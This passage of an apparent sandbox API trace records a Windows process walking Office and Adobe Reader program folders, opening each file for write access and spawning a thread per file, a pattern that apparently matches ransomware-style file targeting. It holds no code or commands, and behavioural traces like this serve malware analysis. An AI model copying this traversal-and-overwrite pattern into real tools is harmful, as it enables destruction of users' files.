ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0157.279] FindClose (in: hFindFile=0x8d9c90 | out: hFindFile=0x8d9c90) returned 1 [0157.279] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905f68) returned 1 [0157.279] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0157.279] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 Thread: id = 4034 os_tid = 0x1388 [0156.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl")) returned 0x20 [0156.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL", dwFileAttributes=0x20) returned 0 [0156.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.803] GetLastError () returned 0x5 [0156.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL", dwFileAttributes=0x20) returned 0 [0156.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76ca8) returned 1 Thread: id = 4035 os_tid = 0x138c [0156.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl")) returned 0x20 [0158.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL", dwFileAttributes=0x20) returned 0 [0158.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.295] GetLastError () returned 0x5 [0161.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL", dwFileAttributes=0x20) returned 0 [0161.296] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9add48) returned 1 Thread: id = 4036 os_tid = 0x1390 [0156.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl")) returned 0x20 [0161.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL", dwFileAttributes=0x20) returned 0 [0161.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.887] GetLastError () returned 0x5 [0161.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL", dwFileAttributes=0x20) returned 0 [0161.887] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab098) returned 1 Thread: id = 4037 os_tid = 0x1394 [0156.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl")) returned 0x20 [0162.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL", dwFileAttributes=0x20) returned 0 [0162.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.372] GetLastError () returned 0x5 [0162.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL", dwFileAttributes=0x20) returned 0 [0162.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9aa8) returned 1 Thread: id = 4038 os_tid = 0x1398 [0156.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl")) returned 0x20 [0159.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL", dwFileAttributes=0x20) returned 0 [0160.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.371] GetLastError () returned 0x5 [0162.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL", dwFileAttributes=0x20) returned 0 [0162.371] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9b48) returned 1 Thread: id = 4039 os_tid = 0x139c [0156.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl")) returned 0x20 [0161.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL", dwFileAttributes=0x20) returned 0 [0161.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.888] GetLastError () returned 0x5 [0161.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL", dwFileAttributes=0x20) returned 0 [0161.888] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9be8) returned 1 Thread: id = 4040 os_tid = 0x13a0 [0156.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl")) returned 0x20 [0158.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL", dwFileAttributes=0x20) returned 0 [0158.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.629] GetLastError () returned 0x5 [0158.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL", dwFileAttributes=0x20) returned 0 [0158.630] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bc28) returned 1 Thread: id = 4041 os_tid = 0x13a4 [0156.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl")) returned 0x20 [0160.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL", dwFileAttributes=0x20) returned 0 [0161.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.580] GetLastError () returned 0x5 [0161.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL", dwFileAttributes=0x20) returned 0 [0161.580] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acb50) returned 1 Thread: id = 4042 os_tid = 0x13a8 [0156.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl")) returned 0x20 [0161.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL", dwFileAttributes=0x20) returned 0 [0161.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.297] GetLastError () returned 0x5 [0161.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL", dwFileAttributes=0x20) returned 0 [0161.297] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9c88) returned 1 Thread: id = 4043 os_tid = 0x13ac [0156.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl")) returned 0x20 [0161.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL", dwFileAttributes=0x20) returned 0 [0161.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.886] GetLastError () returned 0x5 [0161.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL", dwFileAttributes=0x20) returned 0 [0161.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9d28) returned 1 Thread: id = 4044 os_tid = 0x13b0 [0156.811] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9349c0 [0156.811] wcscpy (in: _Dest=0x9349c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0156.811] wcscat (in: _Dest=0x9349c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0156.812] wcscat (in: _Dest=0x9349c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*" [0156.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905a98 [0156.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b538 [0157.582] wcscmp (_String1=".", _String2=".") returned 0 [0157.582] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.582] wcscmp (_String1="..", _String2=".") returned 1 [0157.582] wcscmp (_String1="..", _String2="..") returned 0 [0157.582] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0157.582] wcscmp (_String1="InfoPathOMFormServicesV12", _String2=".") returned 1 [0157.582] wcscmp (_String1="InfoPathOMFormServicesV12", _String2="..") returned 1 [0157.582] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xce) returned 0x8dd090 [0157.582] wcscpy (in: _Dest=0x8dd090, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0157.582] wcscat (in: _Dest=0x8dd090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0157.582] wcscat (in: _Dest=0x8dd090, _Source="InfoPathOMFormServicesV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" [0160.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dd090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1848 [0160.983] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0160.983] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2=".") returned 1 [0160.983] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2="..") returned 1 [0160.983] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0160.983] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2=".") returned 1 [0160.983] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2="..") returned 1 [0160.983] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd6) returned 0x93ccc8 [0160.983] wcscpy (in: _Dest=0x93ccc8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0160.983] wcscat (in: _Dest=0x93ccc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0160.983] wcscat (in: _Dest=0x93ccc8, _Source="Microsoft.Office.InfoPath.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" [0160.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ccc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728 [0160.984] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0160.985] FindClose (in: hFindFile=0x93b538 | out: hFindFile=0x93b538) returned 1 [0160.985] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905a98) returned 1 [0160.985] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9349c0) returned 1 [0160.985] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934db0) returned 1 Thread: id = 4045 os_tid = 0x13b4 [0156.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76ca8 [0156.813] wcscpy (in: _Dest=0x12c76ca8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" [0156.813] wcscat (in: _Dest=0x12c76ca8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0156.813] wcscat (in: _Dest=0x12c76ca8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*" [0156.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0156.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da010 [0157.013] wcscmp (_String1=".", _String2=".") returned 0 [0157.013] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.013] wcscmp (_String1="..", _String2=".") returned 1 [0157.013] wcscmp (_String1="..", _String2="..") returned 0 [0157.013] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0157.013] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2=".") returned 1 [0157.014] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2="..") returned 1 [0157.014] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0157.014] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2=".") returned 1 [0157.014] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2="..") returned 1 [0157.014] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc4) returned 0x938e58 [0157.014] wcscpy (in: _Dest=0x938e58, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" [0157.014] wcscat (in: _Dest=0x938e58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0157.014] wcscat (in: _Dest=0x938e58, _Source="Microsoft.Office.InfoPath.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" [0157.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x938e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c [0157.679] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0157.679] FindClose (in: hFindFile=0x8da010 | out: hFindFile=0x8da010) returned 1 [0157.679] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0157.679] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76ca8) returned 1 [0157.679] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8378) returned 1 Thread: id = 4073 os_tid = 0x142c [0157.028] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve")) returned 0x20 [0157.614] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE", dwFileAttributes=0x20) returned 0 [0157.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.808] GetLastError () returned 0x5 [0158.808] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE", dwFileAttributes=0x20) returned 0 [0158.808] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935440) returned 1 Thread: id = 4074 os_tid = 0x1430 [0157.028] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\acroform.sve")) returned 0x20 [0158.809] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE", dwFileAttributes=0x20) 